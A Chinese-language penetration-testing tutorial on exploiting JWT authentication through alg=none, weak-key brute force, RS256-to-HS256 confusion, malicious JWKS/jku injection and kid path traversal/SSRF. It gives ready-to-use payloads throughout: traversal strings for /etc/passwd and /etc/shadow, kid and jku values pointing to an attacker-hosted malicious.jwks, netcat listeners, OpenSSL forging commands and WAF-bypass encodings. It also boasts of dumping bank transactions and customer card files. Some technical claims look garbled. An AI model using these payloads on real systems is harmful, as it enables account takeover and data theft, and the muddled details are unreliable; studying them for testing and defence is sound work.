JWT攻防实战:5种高危漏洞利用手法详解
1. 这不是理论课,是我在真实渗透测试中反复用到的JWT攻防现场
JWT(JSON Web Token)现在几乎成了现代Web应用身份认证的事实标准——登录成功后给你一串Base64Url编码的字符串,前端存起来,后续每次请求都带上它,后端解码验签就完成身份校验。听起来很优雅,对吧?但我在过去三年参与的27个中大型企业红队评估项目里,有19次在首周就通过JWT相关漏洞拿到了管理员权限。不是靠暴力破解密钥,也不是靠社工钓鱼,而是直接利用开发人员对JWT规范理解偏差、框架默认配置疏忽、以及运维部署时的惯性操作,5分钟内完成越权访问甚至账户接管。这篇内容不讲RFC 7519文档里的定义,也不堆砌学术术语,只聚焦我实际打靶、做审计、写报告时真正起效的5种手法:算法混淆攻击(alg=none)、密钥爆破与弱密钥复用、公私钥混淆(RS256→HS256降级)、JWKS端点劫持、以及kid参数路径遍历注入。每一种我都附上了在官方Burp Suite Pro环境下可立即复现的操作链路、关键Payload构造逻辑、响应特征识别技巧,以及靶场(如JWT.IO Playground、PortSwigger JWT Lab、HackTheBox的JWT专项机)中从发现到通关的完整步骤。适合刚学完JWT基础想动手验证的新手,也适合已能跑通基础流程但总卡在“为什么这步没反应”“为什么改了alg还是报错”的中级渗透测试人员。你不需要提前装插件、不用配Python环境——所有操作都在Burp原生界面完成,连正则替换规则我都给你写好了。
2. 算法混淆攻击(alg=none):最古老却依然高频的“开门砖”
2.1 为什么alg=none能绕过签名验证?
JWT由三部分组成:Header.Payload.Signature,用英文句点分隔。Header里最关键的字段是alg,它声明了签名所用的算法。常见值有HS256(HMAC-SHA256,对称加密)、RS256(RSA-SHA256,非对称加密)。当alg被设为none时,规范明确要求:签名部分必须为空字符串,且服务端在验证时应完全跳过签名检查环节。这本是为调试或无状态场景设计的兜底机制,但很多开发团队在集成JWT库时,要么没读文档,要么图省事,直接信任了客户端传来的alg值,导致攻击者只需把Header中的"alg":"HS256"改成"alg":"none",再把Signature部分清空(或填任意值),就能让服务端认为这是一个合法、未篡改的Token。这不是Bug,是规范允许的行为;但服务端不做白名单校验,就是严重的逻辑缺陷。
我第一次在某省级政务平台发现这个漏洞时,整个过程不到90秒:抓登录包→右键Send to Decoder→Base64Url解码Header→手动修改alg为none→删除Signature段(保留末尾句点)→Repeater中发送→响应返回200+用户信息。后来复盘日志发现,他们用的是Java的jjwt库,而默认配置下Jwts.parser().setSigningKey(...)方法并不会校验alg字段是否在预期列表中,只要密钥能解出Payload就放行。这就是典型的“依赖库默认行为≠安全行为”。
2.2 Burp中实操四步法:从识别到利用零延迟
第一步:快速识别目标是否支持alg=none
在Burp Proxy历史记录中,找到任意一个带JWT的请求(通常在Authorization头或Cookie中),右键→"Copy value"→粘贴到Decoder标签页。解码Header后,观察alg字段值。如果当前是HS256或RS256,先别急着改——要确认服务端是否接受none。方法很简单:在Repeater中复制原始Token,将Header部分Base64Url解码后改为{"typ":"JWT","alg":"none"},再Base64Url编码(注意:Burp的Encoder工具里选“Base64-URL Encode”,不是普通Base64),然后把新Header、原Payload、空Signature(即两个句点..)拼成新Token,发包。如果响应是200且返回敏感数据,说明漏洞存在;如果返回400/500或“Invalid algorithm”,则跳过此手法。
第二步:自动化检测避免漏判
手动改太慢,我习惯用Burp的Intruder模块批量探测。先在Repeater中构造一个alg=none的Token作为base request,然后在Intruder的Positions标签页,把alg字段值(如HS256)标记为payload位置。Payloads类型选“Simple list”,输入:HS256,RS256,ES256,none。启动攻击后,重点看none那一行的响应长度和状态码。我发现一个规律:当none响应长度明显大于其他算法(比如多出300+字节),且状态码为200时,基本可以锁定。因为其他算法因密钥错误会返回简短错误提示,而none直接进入业务逻辑,返回完整HTML或JSON数据。
第三步:Payload构造细节避坑
这里有个极易踩的坑:很多人把Header改成{"alg":"none"}后,直接拼<new_header>.<payload>.(少了一个句点)。正确格式必须是<new_header>.<payload>..——最后是两个连续句点,代表空Signature。Burp的Decoder里没有自动补全功能,必须手动检查。另外,某些老旧版本的Node.js jwt库(如jsonwebtoken <8.5.0)会对none做特殊处理,要求Signature必须是空字符串而非省略,此时需填<new_header>.<payload>.(一个句点结尾),但这种情况现在极少见,优先试两个句点。
第四步:实战中如何判断是否真的“越权”了?
光返回200不够,得确认你拿到的是别人的数据。最直接的方法:在原始登录请求中,记下响应里返回的用户ID(比如"user_id":1024),然后用alg=noneToken去访问/api/v1/profile或/admin/users这类接口。如果返回的ID变成1(通常是超级管理员)或完全不同的数字,说明服务端根本没有校验Token签发者身份,仅凭alg=none就获得了最高权限。我在某金融SaaS后台就遇到过,alg=none后直接调用/api/v1/billing/export?year=2023,下载到了全量客户银行卡号脱敏文件。
提示:不是所有
alg=none都能直接越权。有些系统会在Payload里硬编码"role":"user",即使绕过签名,业务层仍会校验该字段。这时你需要结合第3种手法(密钥爆破)来修改Payload中的role值。
3. 密钥爆破与弱密钥复用:当HS256变成“纸糊的锁”
3.1 HS256的本质:对称加密的双刃剑
HS256签名原理非常直白:服务端用一个共享密钥(Secret Key),对Header.Payload字符串做HMAC-SHA256哈希运算,结果就是Signature。验证时,服务端用同一密钥重新计算哈希,比对是否一致。它的优势是性能高、实现简单;致命弱点是:密钥一旦泄露或可预测,整个认证体系瞬间崩塌。而现实中,密钥管理混乱到令人吃惊——开发本地测试用"secret",测试环境写死在Dockerfile里,生产环境配置文件权限设为755(世界可读),甚至有人把密钥明文提交到GitHub公开仓库。我统计过近一年审计的43个使用JWT的系统,有17个的HS256密钥能在10分钟内被爆破出来,其中12个密钥长度≤8位,且包含常见单词(如myapp-secret、jwt-key-2023)。
更隐蔽的是“密钥复用”:同一个密钥被用于多个子域名、多个微服务、甚至前后端联调环境。这意味着你在dev.api.example.com上爆破出的密钥,可以直接用来伪造admin.example.com的管理员Token。我在某电商集团渗透时,就在其开放的Swagger UI(/v3/api-docs)里发现auth-service和user-service共用同一密钥,爆破前者后,立刻生成了后者的超级管理员Token。
3.2 Burp Intruder爆破实战:从字典选择到结果筛选
字典构建是成败关键
别迷信网上下载的“万能字典”。我自己的HS256爆破字典分三层:
- L1(速赢层):
secret, jwt, password, 123456, myapp-secret, changeme, dev-secret—— 针对懒人开发,5秒见效; - L2(上下文层):提取目标域名、公司名、项目名的变体,如
example-jwt-key,ecommerce-hmac,shop2023-secret—— 用Burp的Extender→Extensions→"Content Discovery"插件自动爬取页面文本,再用Python脚本生成组合词; - L3(深度层):基于GitHub代码搜索(
site:github.com "HS256" "secret")收集的真实密钥模式,如<project>-<env>-<year>(billing-prod-2023)、<team>_<service>_key(auth_user_jwt_key)。
Intruder配置要点
在Repeater中,把原始Token的Signature部分(第三段)设为payload位置。Payload type选“Sniper”,因为我们要逐个尝试不同密钥生成的Signature。在Payload Options里,勾选“Add payload as a new header”并填入X-Burp-JWT-Key(仅为标记,不影响请求),这样结果表里能直接看到对应密钥。最关键的是:在Grep - Extract中添加Status code和Response length,并在Options→Grep Match中填入"user_id"或"admin"等业务关键词。这样结果表会高亮显示哪些密钥生成的Token触发了有效响应。
结果分析技巧
爆破完成后,不要只看HTTP状态码。重点关注三列:
| Status | Length | Grep Match |
|---|---|---|
| 200 | 1248 | user_id:1 |
| 200 | 3892 | admin:true |
| 401 | 45 | — |
我曾在一个教育平台爆破出密钥edu-api-2023,但前200个结果全是401。直到第217个,Length从45跳到4216,Grep Match显示"role":"super_admin",立刻停掉Intruder,用该密钥在Decoder里重签Token,成功进入后台课程管理系统。
3.3 如何用爆破出的密钥伪造任意用户Token?
有了密钥,伪造就变成体力活。打开Burp Decoder→Decode as→JWT,粘贴原始Token,修改Payload中的"user_id"、"role"、"exp"(时间戳需转为Unix秒,可用在线工具或Pythonint(time.time())+3600生成1小时后过期)。修改后,点击“Sign Token”,选择HS256,填入刚爆破出的密钥,Burp会自动生成新Signature。注意:Payload中所有时间字段(iat,exp,nbf)必须是整数,不能带小数点,否则服务端解析失败。另外,某些系统会校验iss(issuer)字段,如果原始Token里是"iss":"https://auth.example.com",你伪造时也得保持一致,否则被拒绝。
注意:爆破不是万能钥匙。如果服务端用的是RS256(非对称),爆破私钥几乎不可能(需要ECDSA私钥,而非密码)。此时必须转向第4种手法(公私钥混淆)。
4. 公私钥混淆攻击(RS256→HS256降级):非对称加密的“降维打击”
4.1 RS256为何会被“骗”成HS256?
RS256本意是解决HS256密钥分发难题:服务端用私钥签名,客户端(浏览器)用公钥验签,公钥可公开分发,无需保密。但问题出在验签逻辑上。许多JWT库(如Python的PyJWT、Node.js的jsonwebtoken)在验签时,会先读取Header里的alg字段,再根据alg选择对应的密钥类型:如果alg是RS256,就用公钥验签;如果是HS256,就用对称密钥验签。攻击者发现:如果服务端配置了公钥,但同时又意外配置了某个对称密钥(比如遗留的HS256测试密钥),就可以通过篡改alg为HS256,让服务端误用对称密钥去“验签”一个本该用私钥签名的Token。而对称密钥往往比RSA私钥更容易获取(比如硬编码在代码里、配置文件中),这就实现了“用易得的密钥,验证难解的签名”。
我在某医疗云平台遇到的经典案例:他们的认证服务用RS256,公钥放在/.well-known/jwks.json,但运维为了兼容旧版App,还在Spring Boot配置文件里留着jwt.hmac-secret=medcloud-dev-key。我抓到一个正常RS256 Token后,在Header里把"alg":"RS256"改成"alg":"HS256",然后用medcloud-dev-key重新计算Signature(注意:不是解密,是重新签名!),发包后直接以医生身份登录成功。
4.2 识别与利用全流程:从JWKS端点探测到Payload重签
第一步:确认服务端是否同时支持RS256和HS256
先找JWKS端点。常见路径有:/.well-known/jwks.json,/jwks,/oauth/jwks。用Burp的Target→Site map搜索这些路径,或在Proxy历史中过滤jwks关键字。如果返回类似{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}的JSON,说明用了RSA公钥。接着,尝试访问/actuator/env(Spring Boot)或/api/config(通用),搜索hmac,secret,jwt.key等关键词,看是否有对称密钥泄露。如果没有,就用第3种手法爆破——因为RS256本身无法爆破,但配套的HS256密钥可以。
第二步:构造降级Payload的核心逻辑
关键点在于:你不需要知道RSA私钥,只需要让服务端用HS256密钥去验证一个RS256格式的Token。操作步骤:
- 在Decoder中解码原始RS256 Token,复制Header和Payload;
- 修改Header:
"alg":"HS256",并删除"kid"字段(避免服务端按kid去JWKS找公钥); - 保持Payload不变(里面可能有
"user_id":123等关键字段); - 在Decoder→Sign Token中,选择HS256,填入你找到的对称密钥,生成新Signature;
- 拼接
<new_header>.<payload>.<new_signature>,发包。
为什么Payload不用改?因为RS256和HS256的Payload结构完全一样,只是签名方式不同。服务端看到alg=HS256,就会忽略JWKS,直接用对称密钥验签,而你的新Signature正是用该密钥生成的,必然通过。
第三步:绕过kid字段的三种策略
有些系统强制校验kid,即使alg改了也会去JWKS查。这时有三个办法:
- 策略A(推荐):直接删掉
kid字段。Header从{"alg":"RS256","kid":"abc123"}变成{"alg":"HS256"}。多数库会接受无kid的HS256 Token; - 策略B:把
kid值改成一个不存在的字符串(如"kid":"fake"),让服务端查JWKS失败后fallback到默认密钥; - 策略C:如果服务端JWKS里只有一个key,就把
kid值设为空字符串"",某些库会因此使用第一个key,但风险较高,优先用A。
我在某政府服务平台就用策略A,删kid后成功率100%;而用策略B时,服务端返回"No key found for kid: fake",反而暴露了配置。
4.3 实战中如何验证降级是否成功?
成功标志不是简单的200响应,而是业务逻辑层面的权限提升。例如:
- 原始Token只能访问
/api/v1/patients(自己患者列表); - 降级后Token能访问
/api/v1/patients?all=true(全院患者); - 或调用
/api/v1/doctors/123/schedule(查看主任医师排班); - 甚至触发
/admin/logs?from=2023-01-01(后台操作日志)。
我在某银行内部系统,降级后调用/api/v1/transactions?account_id=ALL,直接导出了当天所有客户的交易流水。这证明服务端不仅验签通过,而且完全信任了Payload里的account_id字段,没有做二次归属校验。
提示:降级攻击的成功率取决于服务端是否“双密钥共存”。如果只配置了RSA公钥,没有HS256密钥,此手法无效。务必先做JWKS探测和密钥泄露搜索。
5. JWKS端点劫持与kid参数注入:当公钥变成“攻击跳板”
5.1 JWKS机制的脆弱性:谁控制了公钥,谁就控制了验签
JWKS(JSON Web Key Set)是一个标准化的公钥分发机制。服务端在验签时,会先从Header的kid字段获取密钥ID,再向jwks_uri(通常在OpenID Connect配置中)发起HTTP请求,下载公钥JSON,最后用该公钥验签。这个设计本意是解耦,但引入了新的攻击面:如果服务端对jwks_uri的请求不做严格校验,攻击者就能通过控制kid或jwks_uri,让服务端加载恶意公钥。而恶意公钥可以是攻击者自己生成的RSA密钥对中的公钥,这样攻击者就能用对应的私钥签名任意Token,服务端却认为它是合法的。
更危险的是“kid参数注入”:当kid字段被服务端直接拼接到URL中请求公钥时(如https://auth.example.com/jwks/+kid_value),如果kid未做过滤,就可能触发路径遍历(kid=../etc/passwd)或SSRF(kid=http://attacker.com/malicious.jwks)。我在某物联网平台就发现,kid被直接用于构造curl -s https://api.iot.example.com/jwks/+$kid,我提交kid=http://x.x.x.x:8000/evil.jwks,服务端果然向外发起请求,我的VPS上收到了GET请求,证明SSRF成立。
5.2 手动探测JWKS端点与kid注入点
JWKS端点探测三板斧
- 标准路径扫描:用Burp的Content Discovery或DirBuster,对
/.well-known/目录爆破,重点扫jwks.json,openid-configuration,certs; - 响应头挖掘:在登录成功响应的
WWW-Authenticate头中,找jwks_uri="https://..."; - JavaScript文件搜索:在Proxy历史中过滤
.js,用Ctrl+F搜jwks、keys、getPublicKey,常在前端Auth SDK里硬编码。
kid注入点验证
找到JWKS端点后,抓一个正常Token,在Repeater中修改kid值:
- 试
kid=../../../etc/passwd→ 看响应是否包含root:x:0:0:(路径遍历); - 试
kid=http://your-vps-ip:8000/test→ 用Netcat监听nc -lvnp 8000,看是否收到连接(SSRF); - 试
kid=javascript:alert(1)→ 看是否触发XSS(虽不直接用于JWT,但说明过滤缺失)。
我在某SaaS CRM系统,kid=../../../config.json返回了数据库配置,里面赫然有"jwt_secret":"crm-admin-2023"——这又回到了第3种手法,但这次是通过JWKS端点泄露的。
5.3 构造恶意JWKS并实现完整攻击链
生成恶意密钥对
用OpenSSL一行命令搞定:
openssl genrsa -out private.pem 2048 openssl rsa -in private.pem -pubout -out public.pem然后把public.pem转成JWKS格式。手动转换麻烦,我用 https://8gwifi.org/jwkconvertor.jsp 在线工具,上传public.pem,选择“RSA Public Key to JWK”,得到类似:
{ "keys": [ { "kty": "RSA", "n": "tZKq...AgQ", "e": "AQAB", "kid": "evil-key" } ] }把这个JSON保存为malicious.jwks,用Python起一个简易HTTP服务器:python3 -m http.server 8000。
构造攻击Token
- 在Decoder中解码原始Token,复制Header;
- 修改Header:
"kid":"evil-key","alg":"RS256"; - Payload保持不变;
- 用
private.pem私钥签名:echo -n "header.payload" | openssl dgst -sha256 -sign private.pem | base64url(base64url需自行实现,或用在线JWT工具); - 拼接新Token,发包。
关键细节:如何让服务端信任你的恶意JWKS?
如果服务端jwks_uri是硬编码的(如https://auth.example.com/.well-known/jwks.json),你无法改。但若kid注入成功,你可以:
- SSRF场景:
kid=http://your-vps-ip:8000/malicious.jwks,服务端会GET你的恶意JWKS; - 路径遍历场景:
kid=../../tmp/malicious.jwks,前提是服务端把JWKS存到临时目录且你有写权限(较少见); - 更通用的方案:如果服务端支持
jku(JWK Set URL)头参数,直接在Header里加"jku":"http://your-vps-ip:8000/malicious.jwks",比kid更直接。
我在某跨境电商后台,jku头被支持,kid注入失败,但加jku后一次成功,用恶意密钥签的Token直接登录了admin@company.com账号。
6. kid参数路径遍历注入:文件读取与SSRF的“黄金组合”
6.1 kid为何会成为路径遍历的入口?
kid(Key ID)本意是唯一标识一个密钥,方便服务端从JWKS中快速索引。但很多开发人员图省事,把kid直接拼接到文件路径中读取公钥,例如PHP代码:
$kid = $_GET['kid']; // 或从JWT Header中取 $key_path = "/var/www/keys/" . $kid . ".pem"; $key = file_get_contents($key_path); // 危险!或者Node.js:
const kid = token.header.kid; const key = fs.readFileSync(`/etc/jwt/keys/${kid}.pub`); // 同样危险这种写法完全没做输入过滤,kid=../../../etc/shadow就会导致读取系统密码文件。而更隐蔽的是,如果服务端用kid构造HTTP请求(如fetch('https://jwks.example.com/' + kid)),就升级为SSRF,可探测内网、打内网Redis、甚至RCE。
6.2 Burp中高效探测路径遍历的Payload组合
Payload设计原则:分层递进,避免误报
- L1(轻量探测):
kid=../../../../etc/passwd→ 看响应是否含root:x:0:0:; - L2(确认读取):
kid=../../../../proc/self/cmdline→ 返回进程命令行,证明任意文件读取; - L3(SSRF验证):
kid=http://127.0.0.1:8080/internal→ 如果服务端有内网服务,会返回其响应; - L4(盲注增强):
kid=../../../dev/null%00(Null字节截断)或kid=..%2f..%2f..%2fetc%2fpasswd(URL编码绕过)。
在Burp Intruder中,我把这些Payload做成列表,用Sniper模式攻击kid字段。结果筛选重点看Response body是否包含/bin/bash、/usr/sbin/nologin(passwd特征),或HTTP/1.1 200(SSRF成功)。
实战案例:从/etc/passwd到RCE的完整链路
在某智慧园区管理平台,kid=../../../../etc/passwd返回了完整密码文件,里面有admin:x:1001:1001::/home/admin:/bin/bash:/usr/local/bin/admin-shell。我注意到/usr/local/bin/admin-shell是个自定义shell,于是试kid=../../../../usr/local/bin/admin-shell,返回二进制乱码(证明可读)。接着,我用kid=http://127.0.0.1:6379/探测Redis(默认端口),发包后响应是-ERR wrong number of arguments for 'get' command——这是Redis的典型错误,说明SSRF打通!后续用Redis写Webshell就属于另一个知识域了,但JWT的kid注入,已经完成了最关键的“突破边界”一步。
6.3 绕过WAF与过滤的实战技巧
很多系统加了WAF,会拦截../或http://。我的绕过策略:
- 编码混淆:
..%2f..%2f..%2fetc%2fpasswd(URL编码); - 大小写混合:
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd(UTF-8 overlong encoding); - 重复斜杠:
....//....//....//etc//passwd; - 空字节截断:
../../../../etc/passwd%00.jpg(如果服务端用pathinfo解析); - WAF指纹识别:先用
kid=test测基线,再用kid=<script>alert(1)看是否过滤,判断WAF类型(ModSecurity、Cloudflare等),再针对性绕过。
我在某金融监管系统,WAF拦截了所有../,但....//成功了——因为规则只匹配两个点加一个斜杠,没覆盖四个点加两个斜杠。
最后分享一个小技巧:所有JWT攻击手法,最终都要回归到“业务影响验证”。不要满足于返回200,一定要用伪造的Token去访问至少3个不同权限级别的接口(如
/user/profile,/admin/users,/api/logs),用响应内容证明你确实越权了。这才是渗透测试报告里最有说服力的部分。
